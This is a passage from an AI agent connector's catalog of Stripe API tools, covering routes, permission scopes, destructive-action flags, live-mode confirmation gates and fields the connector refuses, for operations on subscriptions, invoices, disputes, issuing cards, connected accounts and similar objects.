a connected account as rejected for fraud, terms-of-service violation or another reason, which immediately stops its charges and payouts. Unlike deletion this is REVERSIBLE -- stripe_unreject_connected_account ships in the same migration and puts the account back -- so reject rather than delete whenever the answer might change. `reason` is required and is recorded on the account permanently. Needs confirm_live_mode=true on a live connection because it stops real money moving. POST /api/v1/tools/stripe/reject-connected-account. Scopes: stripe_write_connect. stripe_release_subscription_schedule (write, destructive) — DESTRUCTIVE. Releases the subscription schedule immediately, which will stop scheduling of its phases, but leave any existing subscription in place. A schedule can only be released if its status is not_started or active. If the subscription schedule is currently associated with a subscription, releasing it will remove its subscription property and set the subscription's ID to the released_subscription property. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/release-subscription-schedule. Scopes: stripe_write_billing. stripe_remove_lines_invoice (write, destructive) — DESTRUCTIVE. Removes multiple line items from an invoice. This is only possible when an invoice is still a draft. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/remove-lines-invoice. Scopes: stripe_write_billing. stripe_report_payment (write) — Record a payment that was taken somewhere OTHER than Stripe -- a second processor, a bank transfer, cash -- so that Stripe's reporting sees the whole picture. This moves no money and creates nothing the customer can see: it is bookkeeping. amount_requested, initiated_at and payment_method_details are required. Follow it with stripe_report_payment_attempt_guaranteed or stripe_report_payment_attempt_failed as the external processor settles. POST /api/v1/tools/stripe/report-payment. Scopes: stripe_write_payments. stripe_report_payment_attempt (write) — Add another attempt to an existing payment record -- a retry against the external processor. Bookkeeping only: no money moves and nothing is charged. initiated_at is required and is the moment the external attempt began, not the moment this call is made. POST /api/v1/tools/stripe/report-payment-attempt. Scopes: stripe_write_payments. stripe_report_payment_attempt_canceled (write) — Record that the latest attempt on an external payment record was canceled, with the timestamp it happened (canceled_at, required). Bookkeeping only -- no money moves, nothing is charged or refunded, and no customer-visible object changes. It is what makes Stripe's reporting agree with the other processor's. POST /api/v1/tools/stripe/report-payment-attempt-canceled. Scopes: stripe_write_payments. stripe_report_payment_attempt_failed (write) — Record that the latest attempt on an external payment record was failed, with the timestamp it happened (failed_at, required). Bookkeeping only -- no money moves, nothing is charged or refunded, and no customer-visible object changes. It is what makes Stripe's reporting agree with the other processor's. POST /api/v1/tools/stripe/report-payment-attempt-failed. Scopes: stripe_write_payments. stripe_report_payment_attempt_guaranteed (write) — Record that the latest attempt on an external payment record was guaranteed, with the timestamp it happened (guaranteed_at, required). Bookkeeping only -- no money moves, nothing is charged or refunded, and no customer- visible object changes. It is what makes Stripe's reporting agree with the other processor's. POST /api/v1/tools/stripe/report-payment-attempt-guaranteed. Scopes: stripe_write_payments. stripe_report_payment_attempt_informational (write) — Attach customer, shipping or descriptive detail to a payment record without asserting any outcome. Use it when the extra context arrived after the attempt was reported. Bookkeeping only. POST /api/v1/tools/stripe/report-payment-attempt-informational. Scopes: stripe_write_payments. stripe_report_payment_refund (write) — Record a refund that was issued through the external processor, so the Stripe payment record reflects it. THIS DOES NOT REFUND ANYTHING -- it does not touch a Stripe balance and it does not return money to a customer; stripe_create_refund is the action that moves money. outcome and processor_details are required. POST /api/v1/tools/stripe/report-payment-refund. Scopes: stripe_write_payments. stripe_resume_subscription (write) — Initiates resumption of a paused subscription, optionally resetting the billing cycle anchor and creating prorations. Resume is only available for subscriptions that use charge_automatically collection. If Stripe doesn't generate a resumption invoice, the subscription becomes active immediately. When a resumption invoice is generated, Stripe finalizes it immediately. The inverse of pausing collection on a subscription (pause_collection via stripe_update_subscription). Billing restarts, so on a live connection this is money-gated like every other billing write. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/resume-subscription. Scopes: stripe_write_billing. stripe_reverse_tax_transaction (write, destructive) — DESTRUCTIVE. Partially or fully reverses a previously created Transaction. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/reverse-tax-transaction. Scopes: stripe_write_tax. stripe_search_charges (read) — Search for charges you've previously created using Stripe's Search Query Language. Don't use search in read-after-write flows where strict consistency is necessary. Under normal operating conditions, data is searchable in less than a minute. Occasionally, propagation of new or updated data can be up to an hour behind during outages. Search functionality is not available to merchants in India. This is the only way to get from an order id stored in metadata to a charge, which is where a refund starts. Without it the refund workflow begins with an unbounded stripe_list_charges scan. Same eventual-consistency caveat as every Stripe search: an object created seconds ago may not be indexed yet. GET /api/v1/tools/stripe/search-charges. Scopes: stripe_read_payments. stripe_search_customers (read) — Search for customers you've previously created using Stripe's Search Query Language. Don't use search in read-after-write flows where strict consistency is necessary. Under normal operating conditions, data is searchable in less than a minute. Occasionally, propagation of new or updated data can be up to an hour behind during outages. Search functionality is not available to merchants in India. Use this rather than stripe_list_customers when you have an email, a name, a phone number or a metadata value: the list endpoint's email filter is EXACT-match, case- and whitespace-sensitive, so a real person's address usually misses. Example query: email:'jane@example.com' OR metadata['order_id']:'1234'. Stripe's search index is eventually consistent -- normally under a minute behind a write, occasionally up to an hour -- so an object created seconds ago may not be findable yet. Search is not available to merchants in India. GET /api/v1/tools/stripe/search-customers. Scopes: stripe_read_customers. stripe_search_invoices (read) — Search for invoices you've previously created using Stripe's Search Query Language. Don't use search in read-after-write flows where strict consistency is necessary. Under normal operating conditions, data is searchable in less than a minute. Occasionally, propagation of new or updated data can be up to an hour behind during outages. Search functionality is not available to merchants in India. Filters invoices by number, customer, status, total and metadata. Same eventual-consistency caveat as every Stripe search. GET /api/v1/tools/stripe/search-invoices. Scopes: stripe_read_billing. stripe_search_payment_intents (read) — Search for PaymentIntents you've previously created using Stripe's Search Query Language. Don't use search in read-after-write flows where strict consistency is necessary. Under normal operating conditions, data is searchable in less than a minute. Occasionally, propagation of new or updated data can be up to an hour behind during outages. Search functionality is not available to merchants in India. The only filter on PaymentIntent status -- stripe_list_payment_intents has none. Same eventual-consistency caveat as every Stripe search. GET /api/v1/tools/stripe/search-payment-intents. Scopes: stripe_read_payments. stripe_search_prices (read) — Search for prices you've previously created using Stripe's Search Query Language. Don't use search in read-after-write flows where strict consistency is necessary. Under normal operating conditions, data is searchable in less than a minute. Occasionally, propagation of new or updated data can be up to an hour behind during outages. Search functionality is not available to merchants in India. Same eventual-consistency caveat as every Stripe search. GET /api/v1/tools/stripe/search-prices. Scopes: stripe_read_catalog. stripe_search_products (read) — Search for products you've previously created using Stripe's Search Query Language. Don't use search in read-after-write flows where strict consistency is necessary. Under normal operating conditions, data is searchable in less than a minute. Occasionally, propagation of new or updated data can be up to an hour behind during outages. Search functionality is not available to merchants in India. Same eventual-consistency caveat as every Stripe search. GET /api/v1/tools/stripe/search-products. Scopes: stripe_read_catalog. stripe_search_subscriptions (read) — Search for subscriptions you've previously created using Stripe's Search Query Language. Don't use search in read-after-write flows where strict consistency is necessary. Under normal operating conditions, data is searchable in less than a minute. Occasionally, propagation of new or updated data can be up to an hour behind during outages. Search functionality is not available to merchants in India. Same eventual-consistency caveat as every Stripe search. GET /api/v1/tools/stripe/search-subscriptions. Scopes: stripe_read_billing. stripe_send_invoice (write, destructive) — DESTRUCTIVE. Stripe will automatically send invoices to customers according to your subscriptions settings. However, if you'd like to manually send an invoice to your customer out of the normal schedule, you can do so. When sending invoices that have already been paid, there will be no reference to the payment in the email. Requests made in test-mode result in no emails being sent, despite sending an invoice.sent event. Emails the invoice to the customer from the merchant's own domain. The recipient is the customer on the invoice -- you cannot choose an address -- but an email cannot be recalled once sent, so confirm the invoice is the right one first. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/send-invoice. Scopes: stripe_write_billing. stripe_set_terminal_reader_display (write) — Show a cart -- line items, tax and total -- on the reader's screen so the customer can see what they are about to pay for. It displays; it does not charge. stripe_cancel_terminal_reader_action clears it. POST /api/v1/tools/stripe/set-terminal-reader-display. Scopes: stripe_write_terminal. stripe_submit_issuing_dispute (write, destructive) — DESTRUCTIVE and one-way: send the dispute and its evidence to the card network. Nothing can be edited afterwards and the submission cannot be withdrawn -- an under-evidenced dispute submitted early is simply lost. Read the dispute first and confirm the evidence is complete. Needs confirm_live_mode=true on a live connection. POST /api/v1/tools/stripe/submit-issuing-dispute. Scopes: stripe_write_issuing. stripe_subscribe_financial_connection_account (write) — Turn on ongoing data refreshes for a linked bank account, so Stripe keeps transactions flowing without a manual refresh each time. Its inverse is stripe_unsubscribe_financial_connection_account and both ship together. Subscriptions are billed per account on some plans, which is the only cost here -- no customer money moves. POST /api/v1/tools/stripe/subscribe-financial-connection-account. Scopes: stripe_write_banking. stripe_unarchive_invoice_rendering_template (write) — Unarchive an invoice rendering template so it can be used on new Stripe objects again. POST /api/v1/tools/stripe/unarchive-invoice-rendering-template. Scopes: stripe_write_billing. stripe_uncancel_subscription (write) — Clear a pending cancellation: sets cancel_at_period_end back to false on a subscription that is still active but scheduled to stop at the end of the current period. This is the undo for stripe_cancel_subscription's DEFAULT form, which that tool's own description advertises as reversible. It cannot rescue a subscription that was cancelled with immediately=true -- once status is 'canceled' Stripe has no un-cancel and the only route back is a new subscription with a new billing anchor. Billing resumes on the existing schedule. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/uncancel-subscription. Scopes: stripe_write_billing. stripe_unreject_connected_account (write) — Undo stripe_reject_connected_account: clear the rejection so the account can be verified and take payments again. This is the inverse half of the pair and it is why rejecting is preferable to deleting. It does NOT re-verify the account -- Stripe re-runs its own checks and the account may land back in a requirements-due state, which stripe_get_connected_account will show. Needs confirm_live_mode=true on a live connection because it restarts real money movement. POST /api/v1/tools/stripe/unreject-connected-account. Scopes: stripe_write_connect. stripe_unsubscribe_financial_connection_account (write) — Stop the ongoing refreshes turned on by stripe_subscribe_financial_connection_account. The account stays linked and readable -- this is not a disconnect -- so it is fully reversible by subscribing again. POST /api/v1/tools/stripe/unsubscribe-financial-connection-account. Scopes: stripe_write_banking. stripe_update_application_fee_refund (write, destructive) — DESTRUCTIVE. Updates the specified application fee refund by setting the values of the parameters passed. Any parameters not provided will be left unchanged. This request only accepts metadata as an argument. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/update-application-fee-refund. Scopes: stripe_write_refunds. stripe_update_balance_settings (write, destructive) — DESTRUCTIVE. Updates balance settings for a given connected account. Related guide: Making API calls for connected accounts Changes the account's payout schedule and debit behaviour for ALL future money movement, not one transaction. Read stripe_get_balance_settings first and record the previous values -- that read is the only undo. POST /api/v1/tools/stripe/update-balance-settings. Scopes: stripe_write_payments. stripe_update_billing_credit_grant (write) — Updates a credit grant. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/update-billing-credit-grant. Scopes: stripe_write_billing. stripe_update_billing_meter (write) — Updates a billing meter. POST /api/v1/tools/stripe/update-billing-meter. Scopes: stripe_write_billing. stripe_update_billing_portal_configuration (write) — Change which self-service actions the customer portal offers, or set active=false to retire a configuration. Every change applies to every customer who opens the portal next, immediately. Fully reversible. POST /api/v1/tools/stripe/update-billing-portal-configuration. Scopes: stripe_write_billing. stripe_update_charge (write) — Updates the specified charge by setting the values of the parameters passed. Any parameters not provided will be left unchanged. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/update-charge. Scopes: stripe_write_payments. stripe_update_charge_dispute (write, destructive) — DESTRUCTIVE. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/update-charge-dispute. Scopes: stripe_write_payments. stripe_update_charge_refund (write) — Update a specified refund. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/update-charge-refund. Scopes: stripe_write_refunds. stripe_update_checkout_session (write) — Updates a Checkout Session object. Related guide: Dynamically update a Checkout Session On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/update-checkout-session. Scopes: stripe_write_payments. stripe_update_climate_order (write) — Change the named beneficiary or the metadata on a carbon- removal order. It cannot change the amount or the supplier, so it spends nothing -- cancel and re-order for that. POST /api/v1/tools/stripe/update-climate-order. Scopes: stripe_write_climate. stripe_update_connected_account (write) — Change a connected account's business profile, company or individual details, settings, requested capabilities and metadata -- the write that clears a verification requirement Stripe is blocking payouts on. Read stripe_get_connected_account first: it lists exactly which fields are currently_due, so this becomes a targeted correction rather than a guess. Refuses external_account and bank_account for the same reason the create does. POST /api/v1/tools/stripe/update-connected-account. Scopes: stripe_write_connect. stripe_update_connected_account_capability (write) — Request a capability for a connected account (requested=true) or withdraw the request (requested=false) -- card_payments, transfers, us_bank_account_ach_payments and the rest. Requesting one does not grant it: Stripe moves it to pending and may add verification requirements, which stripe_get_connected_account_capability reports. Fully reversible in both directions, which is why this is not destructive. POST /api/v1/tools/stripe/update-connected-account-capability. Scopes: stripe_write_connect. stripe_update_connected_account_people_alias (write) — Correct a person on a connected account: name, date of birth, address, contact details or relationship. This is the write that clears a person-level verification requirement, and stripe_get_connected_account_person names exactly which field Stripe is waiting for. Government identification numbers are refused as arguments for the reason the create gives. This is the /people spelling of the same Stripe endpoint as stripe_update_connected_account_person. POST /api/v1/tools/stripe/update-connected-account-people-alias. Scopes: stripe_write_connect. stripe_update_connected_account_person (write) — Correct a person on a connected account: name, date of birth, address, contact details or relationship. This is the write that clears a person-level verification requirement, and stripe_get_connected_account_person names exactly which field Stripe is waiting for. Government identification numbers are refused as arguments for the reason the create gives. POST /api/v1/tools/stripe/update-connected-account-person. Scopes: stripe_write_connect. stripe_update_coupon (write) — Updates the metadata of a coupon. Other coupon details (currency, duration, amount_off) are, by design, not editable. POST /api/v1/tools/stripe/update-coupon. Scopes: stripe_write_catalog. stripe_update_credit_note (write) — Updates an existing credit note. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/update-credit-note. Scopes: stripe_write_billing. stripe_update_customer (write) — Correct a customer's contact details: email, name, phone, address, description and metadata, and NOTHING ELSE. Fixing a typo in a customer's email is the most common non-money support write on Stripe, and it is reversible by construction because stripe_get_customer shows the old value first -- read it before you write, so you can put it back. Agentic Fabriq REFUSES the other fields of this endpoint at the connector: `balance` (a negative integer there is an unlimited credit against every future invoice), `default_source` and `default_card` (they silently redirect which stored card gets billed) and `invoice_settings` (same, one level down). Those are separate operations Agentic Fabriq does not expose, not arguments this tool quietly ignores: passing one is an error naming the reason. POST /api/v1/tools/stripe/update-customer. Scopes: stripe_write_customers. stripe_update_customer_bank_account (write) — Correct the details Stripe stores alongside a saved bank account on a customer: cardholder name, billing address, and the expiry month and year. This is the fix for a declined recurring charge whose cause is an address mismatch or a card the customer has already renewed -- it does NOT change the card number, and it cannot: the PAN and CVC are not arguments of this endpoint at all. Needs confirm_live_mode=true on a live connection because it edits the instrument real invoices are charged to. POST /api/v1/tools/stripe/update-customer-bank-account. Scopes: stripe_write_customers. stripe_update_customer_card (write) — Correct the details Stripe stores alongside a saved card on a customer: cardholder name, billing address, and the expiry month and year. This is the fix for a declined recurring charge whose cause is an address mismatch or a card the customer has already renewed -- it does NOT change the card number, and it cannot: the PAN and CVC are not arguments of this endpoint at all. Needs confirm_live_mode=true on a live connection because it edits the instrument real invoices are charged to. POST /api/v1/tools/stripe/update-customer-card. Scopes: stripe_write_customers. stripe_update_customer_source (write) — Correct the details Stripe stores alongside a saved source on a customer: cardholder name, billing address, and the expiry month and year. This is the fix for a declined recurring charge whose cause is an address mismatch or a card the customer has already renewed -- it does NOT change the card number, and it cannot: the PAN and CVC are not arguments of this endpoint at all. Needs confirm_live_mode=true on a live connection because it edits the instrument real invoices are charged to. POST /api/v1/tools/stripe/update-customer-source. Scopes: stripe_write_customers. stripe_update_customer_subscription (write, destructive) — DESTRUCTIVE. Updates an existing subscription on a customer to match the specified parameters. When changing plans or quantities, we will optionally prorate the price we charge next month to make up for any price changes. To preview how the proration will be calculated, use the upcoming invoice endpoint. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/update-customer-subscription. Scopes: stripe_write_customers. stripe_update_dispute (write, destructive) — DESTRUCTIVE. When you get a dispute, contacting your customer is always the best first step. If that doesn't work, you can submit evidence to help us resolve the dispute in your favor. You can do this in your dashboard, but if you prefer, you can use the API to submit evidence programmatically. Depending on your dispute type, different evidence fields will give you a better chance of winning your dispute. Submitting evidence is a legal act on the merchant's behalf: the evidence goes to the issuing bank and the card network, and passing submit=true is FINAL -- there is no resubmission and no correction. Read stripe_get_dispute first for evidence_details.due_by and the fields the network actually wants. Leaving submit unset saves a draft, which is the safe way to stage evidence for a human to send. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/update-dispute. Scopes: stripe_write_disputes. stripe_update_entitlement_feature (write) — Update a feature's metadata or permanently deactivate it. POST /api/v1/tools/stripe/update-entitlement-feature. Scopes: stripe_write_billing. stripe_update_identity_verification_session (write) — Change what an identity verification session asks for -- document versus ID number, matching options, provided details -- while it is still requires_input. Nothing is charged and no personal data is returned by this call. Once the session is processing or verified Stripe refuses the change. POST /api/v1/tools/stripe/update-identity-verification-session. Scopes: stripe_write_identity. stripe_update_invoice (write) — Draft invoices are fully editable. Once an invoice is finalized, monetary values, as well as collection_method, become uneditable. If you would like to stop the Stripe Billing engine from automatically finalizing, reattempting payments on, sending reminders for, or automatically reconciling invoices, pass auto_advance=false. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/update-invoice. Scopes: stripe_write_billing. stripe_update_invoice_line (write) — Updates an invoice's line item. Some fields, such as tax_amounts, only live on the invoice line item, so they can only be updated through this endpoint. Other fields, such as amount, live on both the invoice item and the invoice line item, so updates on this endpoint will propagate to the invoice item as well. Updating an invoice's line item is only possible before the invoice is finalized. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/update-invoice-line. Scopes: stripe_write_billing. stripe_update_invoiceitem (write) — Updates the amount or description of an invoice item on an upcoming invoice. Updating an invoice item is only possible before the invoice it's attached to is closed. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/update-invoiceitem. Scopes: stripe_write_billing. stripe_update_issuing_authorization (write) — Attach metadata to a card authorization. It cannot approve, decline or change the amount -- those are separate actions -- so nothing moves. POST /api/v1/tools/stripe/update-issuing-authorization. Scopes: stripe_write_issuing. stripe_update_issuing_card (write, destructive) — DESTRUCTIVE: change an issued card's status or spending controls. status=canceled is TERMINAL -- Stripe has no un- cancel and the cardholder needs a new card with a new number; status=inactive is the reversible way to stop a card, and it is what to reach for first. Tightening spending_controls is the bounded way to reduce exposure without breaking the card. The PIN is refused (E8). Needs confirm_live_mode=true on a live connection. POST /api/v1/tools/stripe/update-issuing-card. Scopes: stripe_write_issuing. stripe_update_issuing_cardholder (write, destructive) — DESTRUCTIVE: change a cardholder's contact details, spending controls or status. status=blocked stops EVERY card that cardholder holds at once -- it is reversible with status=active, which is why this is destructive rather than terminal. Cardholder-level spending_controls apply across all their cards and are the widest lever here. Government identification numbers are refused as arguments (E8). POST /api/v1/tools/stripe/update-issuing-cardholder. Scopes: stripe_write_issuing. stripe_update_issuing_dispute (write) — Add or correct the evidence on an unsubmitted issuing dispute. Only possible before submission -- once stripe_submit_issuing_dispute has run, the network has it and this endpoint stops accepting changes. POST /api/v1/tools/stripe/update-issuing-dispute. Scopes: stripe_write_issuing. stripe_update_issuing_personalization_design (write) — Change a physical-card design's logo, carrier text, name or lookup key. Editing a design that Stripe has already approved sends it back for review, which pauses new physical card orders using it -- reversible, but not instant. POST /api/v1/tools/stripe/update-issuing-personalization-design. Scopes: stripe_write_issuing. stripe_update_issuing_settlement (write) — Attach metadata to a card-network settlement record. Reconciliation bookkeeping only; no money moves. POST /api/v1/tools/stripe/update-issuing-settlement. Scopes: stripe_write_issuing. stripe_update_issuing_token (write, destructive) — DESTRUCTIVE: change the status of a digital wallet token (Apple Pay, Google Pay) provisioned from an issued card. status=deleted is TERMINAL -- the wallet credential is gone and the cardholder has to re-provision the card on their device; status=suspended is the reversible way to stop it, and status=active brings a suspended token back. POST /api/v1/tools/stripe/update-issuing-token. Scopes: stripe_write_issuing. stripe_update_issuing_transaction (write) — Attach metadata to a settled card transaction. It cannot change the amount or reverse anything. POST /api/v1/tools/stripe/update-issuing-transaction. Scopes: stripe_write_issuing. stripe_update_lines_invoice (write) — Updates multiple line items on an invoice. This is only possible when an invoice is still a draft. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/update-lines-invoice. Scopes: stripe_write_billing. stripe_update_payment_intent (write) — Annotate a PaymentIntent that already exists: description, metadata, receipt_email, shipping and the customer it is attached to. Same narrowing as stripe_update_charge, and for the same reason -- this one endpoint carries both the safest write on the surface (a metadata tag) and the ones that change what a later capture will take. Agentic Fabriq REFUSES those individually rather than ignoring them, and each refusal names its reason. Needs confirm_live_mode=true on a live connection because the object it edits is a real payment. POST /api/v1/tools/stripe/update-payment-intent. Scopes: stripe_write_payments. stripe_update_payment_link (write) — Updates a payment link. Set `active` to false to take a public payment link down. Agentic Fabriq exposes no way to CREATE a payment link (E5: a public, indexable URL under the merchant's brand that collects card data from anyone who visits), only to deactivate and reactivate one a human made. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/update-payment-link. Scopes: stripe_write_payments. stripe_update_payment_method (write) — Updates a PaymentMethod object. A PaymentMethod must be attached to a customer to be updated. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/update-payment-method. Scopes: stripe_write_customers. stripe_update_payment_method_configuration (write) — Turn payment methods on or off in an existing configuration, or set active=false to retire it. Turning a method off means customers already mid-checkout stop being offered it; nothing already paid is affected. Fully reversible. POST /api/v1/tools/stripe/update-payment-method-configuration. Scopes: stripe_write_payments. stripe_update_payout (write) — Updates the specified payout by setting the values of the parameters you pass. We don't change parameters that you don't provide. This request only accepts the metadata as arguments. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/update-payout. Scopes: stripe_write_payments. stripe_update_plan (write) — Updates the specified plan by setting the values of the parameters passed. Any parameters not provided are left unchanged. By design, you cannot change a plan's ID, amount, currency, or billing cycle. POST /api/v1/tools/stripe/update-plan. Scopes: stripe_write_catalog. stripe_update_price (write) — Updates the specified price by setting the values of the parameters passed. Any parameters not provided are left unchanged. POST /api/v1/tools/stripe/update-price. Scopes: stripe_write_catalog. stripe_update_product (write) — Updates the specific product by setting the values of the parameters passed. Any parameters not provided will be left unchanged. POST /api/v1/tools/stripe/update-product. Scopes: stripe_write_catalog. stripe_update_promotion_code (write) — Updates the specified promotion code by setting the values of the parameters passed. Most fields are, by design, not editable. POST /api/v1/tools/stripe/update-promotion-code. Scopes: stripe_write_catalog. stripe_update_quote (write) — A quote models prices and services for a customer. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/update-quote. Scopes: stripe_write_billing. stripe_update_refund (write) — Updates the refund that you specify by setting the values of the passed parameters. Any parameters that you don't provide remain unchanged. This request only accepts metadata as an argument. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/update-refund. Scopes: stripe_write_refunds. stripe_update_setup_intent (write) — Change a SetupIntent that has not completed: which customer it belongs to, its description, metadata, the payment-method types it accepts, or the stored payment method it points at. Nothing is charged. Inline payment_method_data is refused because it carries raw card details. POST /api/v1/tools/stripe/update-setup-intent. Scopes: stripe_write_payments. stripe_update_shipping_rate (write) — Updates an existing shipping rate object. POST /api/v1/tools/stripe/update-shipping-rate. Scopes: stripe_write_catalog. stripe_update_source (write) — Update a Source object -- the legacy payment-instrument API Stripe has deprecated in favour of PaymentMethods. Kept because accounts created before the change still have live Sources attached to real subscriptions. It can change the mandate, the owner details and the order, but not the underlying card or bank number. Needs confirm_live_mode=true on a live connection. POST /api/v1/tools/stripe/update-source. Scopes: stripe_write_customers. stripe_update_subscription (write, destructive) — DESTRUCTIVE. Updates an existing subscription to match the specified parameters. When changing prices or quantities, we optionally prorate the price we charge next month to make up for any price changes. To preview how the proration is calculated, use the create preview endpoint. By default, we prorate subscription changes. For example, if a customer signs up on May 1 for a 100 price, they'll be billed 100 immediately. Changing items or price changes what the customer pays EVERY period, and the true cost of a mistake is amount x remaining periods -- a number no single call can see and no per-call amount limit can express. Set proration_behavior deliberately: the default prorates and issues an immediate charge or credit. Read stripe_get_subscription first. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/update-subscription. Scopes: stripe_write_billing. stripe_update_subscription_item (write, destructive) — DESTRUCTIVE. Updates the plan or quantity of an item on a current subscription. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/update-subscription-item. Scopes: stripe_write_billing. stripe_update_subscription_schedule (write, destructive) — DESTRUCTIVE. Updates an existing subscription schedule. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/update-subscription-schedule. Scopes: stripe_write_billing. stripe_update_tax_rate (write) — Updates an existing tax rate. POST /api/v1/tools/stripe/update-tax-rate. Scopes: stripe_write_catalog. stripe_update_tax_registration (write) — Updates an existing Tax Registration object. A registration cannot be deleted after it has been created. If you wish to end a registration you may do so by setting expires_at. POST /api/v1/tools/stripe/update-tax-registration. Scopes: stripe_write_tax. stripe_update_tax_settings (write, destructive) — DESTRUCTIVE. Updates Tax Settings parameters used in tax calculations. All parameters are editable but none can be removed once set. Account-wide Stripe Tax configuration. Read stripe_get_tax_settings first and record the previous values -- that read is the only undo. POST /api/v1/tools/stripe/update-tax-settings. Scopes: stripe_write_tax. stripe_update_terminal_configuration (write) — Change a reader configuration profile. NOTE what tipping settings do: they change the amounts suggested to customers at every reader on this configuration, which changes what people are asked to pay, even though no charge happens here. Fully reversible. POST /api/v1/tools/stripe/update-terminal-configuration. Scopes: stripe_write_terminal. stripe_update_terminal_location (write) — Change a location's address, display name or configuration overrides. Fully reversible; nothing is charged. POST /api/v1/tools/stripe/update-terminal-location. Scopes: stripe_write_terminal. stripe_update_terminal_reader (write) — Rename a reader or change its metadata. Nothing about payments changes and it is fully reversible. POST /api/v1/tools/stripe/update-terminal-reader. Scopes: stripe_write_terminal. stripe_update_topup (write) — Updates the metadata of a top-up. Other top-up details are not editable by design. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/update-topup. Scopes: stripe_write_payments. stripe_update_transfer (write) — Updates the specified transfer by setting the values of the parameters passed. Any parameters not provided will be left unchanged. This request accepts only metadata as an argument. On a LIVE-mode connection this call is REFUSED unless you pass confirm_live_mode=true; check stripe_mode on any read result first. In test mode the flag is ignored. POST /api/v1/tools/stripe/update-transfer. Scopes: stripe_write_payments. stripe_update_treasury_financial_account (write) — Rename a Treasury financial account or change its platform restrictions and features. NOTE that platform_restrictions can freeze inbound or outbound flows on the account -- reversible, but it stops money moving while it is set. POST /api/v1/tools/stripe/update-treasury-financial-account. Scopes: stripe_write_treasury. stripe_update_treasury_financial_account_features (write) — Turn Treasury features on or off for one financial account: card issuing, deposit insurance, ACH and wire addresses, inbound transfers, outbound payments and transfers. Turning a feature ON widens what the account can do with money; turning it off narrows it. Both directions work, so this is reversible, and Stripe may hold a feature in pending while it reviews. POST /api/v1/tools/stripe/update-treasury-financial-account-features. Scopes: stripe_write_treasury. stripe_update_webhook_endpoint (write) — Updates the webhook endpoint. You may edit the url, the list of enabled_events, and the status of your endpoint. Agentic Fabriq REFUSES the `url` field on this call (E2: a caller-chosen destination for a copy of every event on the account). What is editable here is enabled_events, description, metadata and disabled - which makes this the tool for muting a noisy or broken endpoint without deleting it, and the reversible alternative to stripe_delete_webhook_endpoint. POST /api/v1/tools/stripe/update-webhook-endpoint. Scopes: stripe_write_payments. stripe_verify_customer_bank_account (write) — Confirm the two microdeposit amounts Stripe sent to a customer's bank account, which is what turns a stored bank account from unverified into chargeable. The customer reads the amounts off their statement and the agent relays them; too many wrong attempts and Stripe locks the bank account permanently, so do not guess. Needs confirm_live_mode=true on a live connection because it enables real debits. POST /api/v1/tools/stripe/verify-customer-bank-account. 